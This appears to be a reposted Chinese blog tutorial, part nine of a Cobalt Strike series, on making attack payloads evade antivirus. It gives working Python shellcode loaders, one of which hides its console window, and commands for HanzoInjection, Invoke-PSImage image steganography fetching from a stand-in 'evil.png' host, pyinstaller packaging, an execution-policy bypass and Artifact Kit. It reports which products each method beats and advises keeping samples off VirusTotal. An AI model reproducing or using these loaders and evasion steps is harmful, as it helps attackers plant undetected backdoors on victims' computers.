CobaltStrike使用-第九篇-免杀
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CobaltStrike使用-第九篇-免杀相关的知识,希望对你有一定的参考价值。
本篇将会介绍CS payload免杀工具的使用
文章目录
常规杀毒软件的目的就是发现已知病毒并中止删除它,而作为攻击者则需要对病毒文件进行免杀处理,从而使杀毒软件认为我们的文件是合法文件
杀毒软件
杀软常见扫描方式
- 扫描压缩包技术:即是对压缩包案和封装文件作分析检查的技术。
- 程序窜改防护:即是避免恶意程序借由删除杀毒侦测程序而大肆破坏电脑。
- 修复技术:即是对恶意程序所损坏的文件进行还原
- 急救盘杀毒:利用空白U盘制作急救启动盘,来检测电脑病毒。
- 智能扫描:扫描最常用的磁盘,系统关键位置,耗时较短。
- 全盘扫描:扫描电脑全部磁盘,耗时较长。
- 勒索软件防护:保护电脑中的文件不被黑客恶意加密。
- 开机扫描:当电脑开机时自动进行扫描,可以扫描压缩文档和可能不需要的程序
杀软扫描引擎
- 特征码扫描
- 特征码扫描
- 文件校验和法
- 进程行为监测法(沙盒模式)
- 云查杀
- 主动防御技术
- 机器学习识别技术
常见免杀技术
- 修改特征码
- 花指令免杀
- 加壳免杀
- 内存免杀
- 二次编译
- 分离免杀
- 资源修改
免杀时效性很强,以下不代表最终效果
免杀工具使用
以下实验环境
靶机:Win10 defender + 火绒 + 360 杀毒
实验时间:2021.12
HanzoInjection
这是一个工具,专注于在内存中注入任意代码,从而要过常见的病毒检测
项目地址:https://github.com/P0cL4bs/hanzoInjection
-
首先在CS中生成一个二进制文件
选择一个监听器,输出为Raw,也就是原始二进制文件
注意:因为这个工具对于64位支持不太行,所以不选择使用x64payload
这样就生成了一个bin文件
-
将工具和payload打包传到靶机上
在靶机上使用命令将payload注入内存
HanzoInjection.exe -e payload_meterpreter.bin # HanzoInjection.exe -p meterpreter.bin -o injection_memory.cs
执行后CS这边就上线了,火绒和360均没有提示,扫描也没有报毒
Invoke-PSImage
项目地址:https://github.com/peewpw/Invoke-PSImage
这个工具可以将一个 Powershell 脚本中的字节嵌套到 PNG 图像文件的像素中,并生成一行命令来帮助我们从文件或者web(传递web标记)执行
Invoke-PSImage可以支持大多数图像类型作为输入,但输出必须是PNG,由于图像的每个像素都要用于保存一个字节的脚本,因此至少需要一个大于脚本中的字节的像素数量的图片
这是一种隐写(Steganography)技术的应用,原理可以参考
工具参数
- -S cript:powershell脚本路径
- -Image:需要嵌入脚本的图像路径
- -Out:输出PNG文件的路径
- -Web:输出使用Net.WebClient从web中读取图像的命令
使用方法
-
CS中生成 powershell 脚本
-
准备一张像素大于powershell脚本字节大小的图片
在目录中打开powershell,然后在powershell中执行以下命令
这条命令会创建一个包含”payload.ps1”的脚本文件,并输出一条利用命令可以从本地获取图片执行,生成的时间比较慢
Import-Module .\\Invoke-PSImage.ps1 Invoke-PSImage -Script .\\payload.ps1 -Image .\\shell.jpg -Out .\\shell.png -web # 如果提示在此系统上禁止运行脚本,先执行以下命令即可 Powershell -ExecutionPolicy Bypass
会生成一段代码和一张名为 shell.png 的图片,复制这段代码
-
将这张照片上传,保证可以外部访问,我这里直接用的cs的文件下载功能
-
将刚才生成的 payload 中
http://example.com/evil.png
替换为CS生成的图片地址,把 payload 在受害者的 powershell 中执行后就会上线 CS,且杀软不会检查出来
Python脚本封装
使用python脚本封装进行免杀
-
首先在CS中生成payload
不要选择64位,CS中生成的仅仅是shellcode,不是完整的执行程序,需要拼接以下内容
python2:
import ctypes payload = "" shellcode = bytearray(payload) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
接下来两例兼容python2/3:
import ctypes shellcode = "" rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
import ctypes buf = "" #libc = CDLL('libc.so.6') PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 def executable_code(buffer): buf = c_char_p(buffer) size = len(buffer) addr = libc.valloc(size) addr = c_void_p(addr) if 0 == addr: raise Exception("Failed to allocate memory") memmove(addr, buf, size) if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC): raise Exception("Failed to set protection on buffer") return addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect shellcode = bytearray(buf) whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: if 1: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell), buf, ctypes.c_int(len(shellcode))) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell()
-
使用 pyinstaller 打包 py 脚本(电脑需要有python环境)
pyinstaller -F -w -i rabbit.ico payload.py # 参数 -F,-onefile 产生单个的可执行文件 -w,--windowed,--noconsolc 指定程序运行时不显示命令行窗口(仅对 Windows 有效) -i, 指定图标
Python免杀原理:https://www.secpulse.com/archives/151899.html
注意:
- pyinstaller对py3环境的打包极不友好
- pyinstaller打包的可执行程序在win7/server2008R2均测试良好,但win10/server2016均无响应或报错,所以在实际使用前请在与目标机尽可能相同的环境中预调试
Artifact Kit
参考:https://teamssix.com/200419-150726.html
Cobalt Strike 的 Artifact Kit 组件制作免杀可执行文件
下载地址:没找到。。。
Artifact Kit 是一个制作免杀 EXE、DLL 和 Service EXE 的源代码框架,在 Cobalt Strike 的 Help --> Arsenal
处可下载 Artifact Kit
工作原理
Artifact Kit 的工作原理大概如下:
- 将病毒文件进行混淆处理,使杀毒软件将其判定为可疑文件而不是病毒文件。这种混淆可以逃避那些使用简单字符串搜索来识别恶意代码的杀毒软件
- 对病毒文件进行一些处理,以绕过沙箱检测。比如 Artifact Kit 中的 src-common/bypass-pipe.c 会生成可执行文件和DLL,它们通过命名管道为自己提供shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意 shellcode
使用
Artifact Kit 的使用步骤大概如下:
1. 下载 Artifact Kit
2. 如果需要的话就修改/混淆病毒文件
3. 构建
4. 使用 Artifact Kit 加载脚本
下载就不说了,直接使用
来到 Cobalt Strike 下打开 Cobalt Strike -> Script Manager
Load 加载 /Arsenal/artifact/dist-peek/artifact.cna
插件,之后在 Attacks -> Packages -> Windows Executable
中生成木马文件
把每个杀软的病毒库升级到最新后,实测可以过腾讯电脑管家、火绒,但 360 安全卫士 、 360 杀毒不行
Veil Evasion
项目地址:https://github.com/Veil-Framework/Veil-Evasion
Veil-Evasion 在 Kali 2020以前是自带的,但 Kali 2020 中是需要独立安装的。在 Kali 中可以直接使用 apt-get 进行安装
git config --global http.proxy 'socks5://127.0.0.1:1080' git config --global https.proxy 'socks5://127.0.0.1:1080' apt-get install veil-evasion veil
其他系统可以使用 veil-evasion 项目中的介绍进行安装
使用参考:https://teamssix.com/200419-150726.html
实测可以过360 安全卫士、 360 杀毒,但腾讯电脑管家、火绒不行
免杀插件
项目地址:https://github.com/hack2fun/BypassAV
使用方法可以参考项目中的介绍,目前效果还是可以的,在 virustotal 上只被 10 个引擎检测到
实测可以过 360 安全卫士、360 杀毒、腾讯电脑管家,但火绒不行
END
最后需要注意:如果后门上传到了微步云沙箱以及virustotal.com,样本就会被各大杀软厂家拿去分析,提炼出特征码,以及研究防御姿势,VPS的IP地址也会被标记,所以尽量用虚拟机做测试
以上是关于CobaltStrike使用-第九篇-免杀的主要内容,如果未能解决你的问题,请参考以下文章